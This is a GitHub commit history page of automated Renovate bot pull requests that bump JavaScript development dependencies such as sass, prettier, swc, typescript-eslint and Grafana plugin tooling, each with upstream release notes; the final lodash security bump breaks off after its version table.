Commit Graph

142 Commits

Author SHA1 Message Date
renovate-sh-app[bot]
db587e709b chore(deps): update dependency sass to v1.97.3 (#2253)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [sass](https://redirect.github.com/sass/dart-sass) | [`1.97.2` →
`1.97.3`](https://renovatebot.com/diffs/npm/sass/1.97.2/1.97.3) |
![age](https://developer.mend.io/api/mc/badges/age/npm/sass/1.97.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/sass/1.97.2/1.97.3?slim=true)
|

---

### Release Notes

<details>
<summary>sass/dart-sass (sass)</summary>

###
[`v1.97.3`](https://redirect.github.com/sass/dart-sass/blob/HEAD/CHANGELOG.md#1973)

[Compare
Source](https://redirect.github.com/sass/dart-sass/compare/1.97.2...1.97.3)

- Fix a bug where nesting an at-rule within multiple style rules in
plain CSS
  could cause outer style rules to be omitted.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-26 10:36:12 +01:00
renovate-sh-app[bot]
ea955c5ffa chore(deps): update dependency @types/node to v25.0.10 (#2252)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`25.0.9` →
`25.0.10`](https://renovatebot.com/diffs/npm/@types%2fnode/25.0.9/25.0.10)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/25.0.10?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/25.0.9/25.0.10?slim=true)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-26 10:07:27 +01:00
renovate-sh-app[bot]
97e158c582 chore(deps): update dependency prettier to v3.8.1 (#2251)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://redirect.github.com/prettier/prettier)) | [`3.8.0` →
`3.8.1`](https://renovatebot.com/diffs/npm/prettier/3.8.0/3.8.1) |
![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.8.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.8.0/3.8.1?slim=true)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.8.1`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#381)

[Compare
Source](https://redirect.github.com/prettier/prettier/compare/3.8.0...3.8.1)


[diff](https://redirect.github.com/prettier/prettier/compare/3.8.0...3.8.1)

##### Include available `printers` in plugin type declarations
([#&#8203;18706](https://redirect.github.com/prettier/prettier/pull/18706)
by [@&#8203;porada](https://redirect.github.com/porada))

<!-- prettier-ignore -->

```ts
// Input
import * as prettierPluginEstree from "prettier/plugins/estree";

// Prettier 3.8.0
// Property 'printers' does not exist on type 'typeof import("prettier/plugins/estree")'. ts(2339)
prettierPluginEstree.printers.estree; //=> any

// Prettier 3.8.1
prettierPluginEstree.printers.estree; //=> Printer
prettierPluginEstree.printers["estree-json"]; //=> Printer
```

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-26 10:06:57 +01:00
renovate-sh-app[bot]
fdef858e9c chore(deps): update dependency eslint-plugin-jsdoc to v62.3.1 (#2249)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`62.2.0` →
`62.3.1`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/62.2.0/62.3.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/62.3.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/62.2.0/62.3.1?slim=true)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v62.3.1`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v62.3.1)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v62.3.0...v62.3.1)

##### Bug Fixes

- update comment-parser, devDeps
([#&#8203;1637](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1637))
([f443986](f44398601f))

###
[`v62.3.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v62.3.0)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v62.2.0...v62.3.0)

##### Features

- **`type-formatting`:** add `objectTypeBracketSpacing` option; fixes
[#&#8203;1615](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1615)
([#&#8203;1632](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1632))
([78b6980](78b69804f7))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-26 10:06:13 +01:00
renovate-sh-app[bot]
fb1bb19834 chore(deps): update dependency @grafana/plugin-e2e to v3.1.4 (#2250)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@grafana/plugin-e2e](https://redirect.github.com/grafana/plugin-tools)
([source](https://redirect.github.com/grafana/plugin-tools/tree/HEAD/packages/plugin-e2e))
| [`3.1.3` →
`3.1.4`](https://renovatebot.com/diffs/npm/@grafana%2fplugin-e2e/3.1.3/3.1.4)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@grafana%2fplugin-e2e/3.1.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@grafana%2fplugin-e2e/3.1.3/3.1.4?slim=true)
|

---

### Release Notes

<details>
<summary>grafana/plugin-tools (@&#8203;grafana/plugin-e2e)</summary>

###
[`v3.1.4`](https://redirect.github.com/grafana/plugin-tools/blob/HEAD/packages/plugin-e2e/CHANGELOG.md#v314-Wed-Jan-21-2026)

[Compare
Source](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@3.1.3...@grafana/plugin-e2e@3.1.4)

##### 🐛 Bug Fix

- Plugin E2E: Bump
[@&#8203;grafana/e2e-selectors](https://redirect.github.com/grafana/e2e-selectors)
to 12.4.0-21205677807
[#&#8203;2410](https://redirect.github.com/grafana/plugin-tools/pull/2410)
([@&#8203;grafana-plugins-platform-bot\[bot\]](https://redirect.github.com/grafana-plugins-platform-bot\[bot]))

##### Authors: 1

-
[@&#8203;grafana-plugins-platform-bot\[bot\]](https://redirect.github.com/grafana-plugins-platform-bot\[bot])

***

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-26 09:55:05 +01:00
renovate-sh-app[bot]
7a2e6185ff chore(deps): update dependency @grafana/plugin-e2e to v3.1.3 (#2245)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@grafana/plugin-e2e](https://redirect.github.com/grafana/plugin-tools)
([source](https://redirect.github.com/grafana/plugin-tools/tree/HEAD/packages/plugin-e2e))
| [`3.1.2` →
`3.1.3`](https://renovatebot.com/diffs/npm/@grafana%2fplugin-e2e/3.1.2/3.1.3)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@grafana%2fplugin-e2e/3.1.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@grafana%2fplugin-e2e/3.1.2/3.1.3?slim=true)
|

---

### Release Notes

<details>
<summary>grafana/plugin-tools (@&#8203;grafana/plugin-e2e)</summary>

###
[`v3.1.3`](https://redirect.github.com/grafana/plugin-tools/blob/HEAD/packages/plugin-e2e/CHANGELOG.md#v313-Tue-Jan-20-2026)

[Compare
Source](https://redirect.github.com/grafana/plugin-tools/compare/@grafana/plugin-e2e@3.1.2...@grafana/plugin-e2e@3.1.3)

🎉 This release contains work from a new contributor! 🎉

Thank you, Paul Marbach
([@&#8203;fastfrwrd](https://redirect.github.com/fastfrwrd)), for all
your work!

##### 🐛 Bug Fix

- Suggestions: Add All Visualizations click for 12.4 and greater
[#&#8203;2399](https://redirect.github.com/grafana/plugin-tools/pull/2399)
([@&#8203;fastfrwrd](https://redirect.github.com/fastfrwrd)
[@&#8203;hugohaggmark](https://redirect.github.com/hugohaggmark)
[@&#8203;sunker](https://redirect.github.com/sunker))

##### Authors: 3

- Erik Sundell ([@&#8203;sunker](https://redirect.github.com/sunker))
- Hugo Häggmark
([@&#8203;hugohaggmark](https://redirect.github.com/hugohaggmark))
- Paul Marbach
([@&#8203;fastfrwrd](https://redirect.github.com/fastfrwrd))

***

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-23 08:52:46 -08:00
renovate-sh-app[bot]
d9f20da91d chore(deps): update dependency @swc/core to v1.15.10 (#2240)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@swc/core](https://swc.rs)
([source](https://redirect.github.com/swc-project/swc)) | [`1.15.8` →
`1.15.10`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.15.8/1.15.10)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.15.10?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.15.8/1.15.10?slim=true)
|

---

### Release Notes

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

###
[`v1.15.10`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11510---2026-01-19)

[Compare
Source](https://redirect.github.com/swc-project/swc/compare/v1.15.8...v1.15.10)

##### Bug Fixes

- **(ci)** Handle merged PRs separately in milestone manager
([#&#8203;11409](https://redirect.github.com/swc-project/swc/issues/11409))
([3554268](3554268dcb))

- **(es/compat)** Preserve this context in nested arrow functions
([#&#8203;11423](https://redirect.github.com/swc-project/swc/issues/11423))
([f2bdaf2](f2bdaf27d8))

- **(es/es2017)** Replace `this` in arrow functions during
async-to-generator
([#&#8203;11450](https://redirect.github.com/swc-project/swc/issues/11450))
([a993da6](a993da6fb6))

##### Features

- **(bindings/wasm)** Enable ecma\_lints feature to support semantic
error detection
([#&#8203;11414](https://redirect.github.com/swc-project/swc/issues/11414))
([1faa4a5](1faa4a5745))

- **(es/hooks)** Implement VisitMutHook for Either type
([#&#8203;11428](https://redirect.github.com/swc-project/swc/issues/11428))
([395c85e](395c85e921))

- **(es/hooks)** Implement VisitMutHook for Option<H>
([#&#8203;11429](https://redirect.github.com/swc-project/swc/issues/11429))
([0bf1954](0bf195421d))

- **(es/hooks)** Add VisitHook trait for immutable AST visitors
([#&#8203;11437](https://redirect.github.com/swc-project/swc/issues/11437))
([3efb41d](3efb41d97e))

- **(es/minifier)** Improve nested template literal evaluation
([#&#8203;11411](https://redirect.github.com/swc-project/swc/issues/11411))
([147df2f](147df2f023))

- **(es/minifier)** Remove inlined IIFE arg and param
([#&#8203;11436](https://redirect.github.com/swc-project/swc/issues/11436))
([2bc5d40](2bc5d402ad))

- **(es/minifier)** Remove inlined IIFE arg and param
([#&#8203;11446](https://redirect.github.com/swc-project/swc/issues/11446))
([baa1ae3](baa1ae3510))

##### Miscellaneous Tasks

- **(deps)** Update `rkyv`
([#&#8203;11419](https://redirect.github.com/swc-project/swc/issues/11419))
([432197b](432197bdc7))

- **(deps)** Update lru to 0.16.3
([#&#8203;11438](https://redirect.github.com/swc-project/swc/issues/11438))
([67c2d75](67c2d75291))

- **(deps)** Update browserslist-data to v0.1.5
([#&#8203;11454](https://redirect.github.com/swc-project/swc/issues/11454))
([e9f78f0](e9f78f032f))

- **(helpers)** Replace MagicString with ast-grep's built-in edit API
([#&#8203;11410](https://redirect.github.com/swc-project/swc/issues/11410))
([a3f0d33](a3f0d33916))

- **(hstr/wtf8)** Address legacy FIXME comments by switching to derives
([#&#8203;11416](https://redirect.github.com/swc-project/swc/issues/11416))
([f03bfd8](f03bfd8dd1))

##### Performance

- **(es/codegen, es/utils)** Migrate to dragonbox\_ecma for faster
Number::toString
([#&#8203;11412](https://redirect.github.com/swc-project/swc/issues/11412))
([b7978cc](b7978cc9db))

- **(es/react)** Optimize JSX transforms to reduce allocations
([#&#8203;11425](https://redirect.github.com/swc-project/swc/issues/11425))
([2a20cb6](2a20cb6e34))

##### Refactor

- **(es)** Improve TypeScript transform configuration structure
([#&#8203;11434](https://redirect.github.com/swc-project/swc/issues/11434))
([f33a975](f33a975c74))

- **(es/minifier)** Migrate MinifierPass to Pass trait
([#&#8203;11442](https://redirect.github.com/swc-project/swc/issues/11442))
([a41e631](a41e63193c))

- **(es/minifier)** Improve tpl to str
([#&#8203;11415](https://redirect.github.com/swc-project/swc/issues/11415))
([0239523](0239523c38))

- **(es/react)** Port to VisitMutHook
([#&#8203;11418](https://redirect.github.com/swc-project/swc/issues/11418))
([9604d9c](9604d9cc8a))

- **(es/transformer)** Remove OptionalHook wrapper in favor of Option<H>
([#&#8203;11430](https://redirect.github.com/swc-project/swc/issues/11430))
([72da6bd](72da6bdd52))

- **(es/transforms)** Migrate TypeScript transform to Pass trait
([#&#8203;11439](https://redirect.github.com/swc-project/swc/issues/11439))
([dd007c6](dd007c64a6))

##### Testing

- **(es)** Enable benchmark for `swc`
([#&#8203;11420](https://redirect.github.com/swc-project/swc/issues/11420))
([3a50a25](3a50a25927))

- Disable LTO for benchmarks
([#&#8203;11421](https://redirect.github.com/swc-project/swc/issues/11421))
([af3c2d3](af3c2d36d7))

- Use rstest as the test framework
([#&#8203;11417](https://redirect.github.com/swc-project/swc/issues/11417))
([fae258f](fae258f530))

##### Ci

- Collapse preivous `claude[bot]` PR review comments
([affb6a2](affb6a29de))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-22 18:13:24 -08:00
renovate-sh-app[bot]
6607957d80 chore(deps): update typescript-eslint monorepo to v8.53.1 (#2241)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@typescript-eslint/eslint-plugin](https://typescript-eslint.io/packages/eslint-plugin)
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin))
| [`8.53.0` →
`8.53.1`](https://renovatebot.com/diffs/npm/@typescript-eslint%2feslint-plugin/8.53.0/8.53.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2feslint-plugin/8.53.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2feslint-plugin/8.53.0/8.53.1?slim=true)
|
|
[@typescript-eslint/parser](https://typescript-eslint.io/packages/parser)
([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser))
| [`8.53.0` →
`8.53.1`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fparser/8.53.0/8.53.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2fparser/8.53.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2fparser/8.53.0/8.53.1?slim=true)
|

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/eslint-plugin)</summary>

###
[`v8.53.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#8531-2026-01-19)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.53.0...v8.53.1)

##### 🩹 Fixes

- **utils:** make RuleCreator root defaultOptions optional
([#&#8203;11956](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11956))
- **eslint-plugin:** \[consistent-indexed-object-style] skip fixer if
interface is a default export
([#&#8203;11951](https://redirect.github.com/typescript-eslint/typescript-eslint/pull/11951))

##### ❤️ Thank You

- Cameron
- Yukihiro Hasegawa [@&#8203;y-hsgw](https://redirect.github.com/y-hsgw)

You can read about our [versioning
strategy](https://typescript-eslint.io/users/versioning) and
[releases](https://typescript-eslint.io/users/releases) on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/parser)</summary>

###
[`v8.53.1`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#8531-2026-01-19)

[Compare
Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.53.0...v8.53.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://typescript-eslint.io/users/versioning) and
[releases](https://typescript-eslint.io/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-22 18:12:50 -08:00
renovate-sh-app[bot]
55c11e8e3d chore(deps): update dependency @testing-library/react to v16.3.2 (#2237)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@testing-library/react](https://redirect.github.com/testing-library/react-testing-library)
| [`16.3.1` →
`16.3.2`](https://renovatebot.com/diffs/npm/@testing-library%2freact/16.3.1/16.3.2)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2freact/16.3.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2freact/16.3.1/16.3.2?slim=true)
|

---

### Release Notes

<details>
<summary>testing-library/react-testing-library
(@&#8203;testing-library/react)</summary>

###
[`v16.3.2`](https://redirect.github.com/testing-library/react-testing-library/releases/tag/v16.3.2)

[Compare
Source](https://redirect.github.com/testing-library/react-testing-library/compare/v16.3.1...v16.3.2)

##### Bug Fixes

- Update 'onCaughtError' type inference in 'RenderOptions' to work with
React v19
([#&#8203;1438](https://redirect.github.com/testing-library/react-testing-library/issues/1438))
([f32bd1b](f32bd1b033))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-22 09:56:42 -08:00
renovate-sh-app[bot]
4ba5394fe5 chore(deps): update dependency eslint-plugin-jsdoc to v62.2.0 (#2238)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`62.1.0` →
`62.2.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/62.1.0/62.2.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/62.2.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/62.1.0/62.2.0?slim=true)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v62.2.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v62.2.0)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v62.1.0...v62.2.0)

##### Features

- **`no-undefined-types`:** support strict validation for TS namespaces
([#&#8203;1616](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1616))
([ed260c5](ed260c59ee))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi44Mi4zIiwidXBkYXRlZEluVmVyIjoiNDIuODIuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2026-01-22 09:56:06 -08:00
renovate-sh-app[bot]
e388bd7d08 chore(deps): update dependency lodash to v4.17.23 [security] (#2236)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [lodash](https://lodash.com/)
([source](https://redirect.github.com/lodash/lodash)) | [`4.17.21` →
`4.17.23`](https://renovatebot.com/diffs/npm/lodash/4.17.21/4.17.23) |
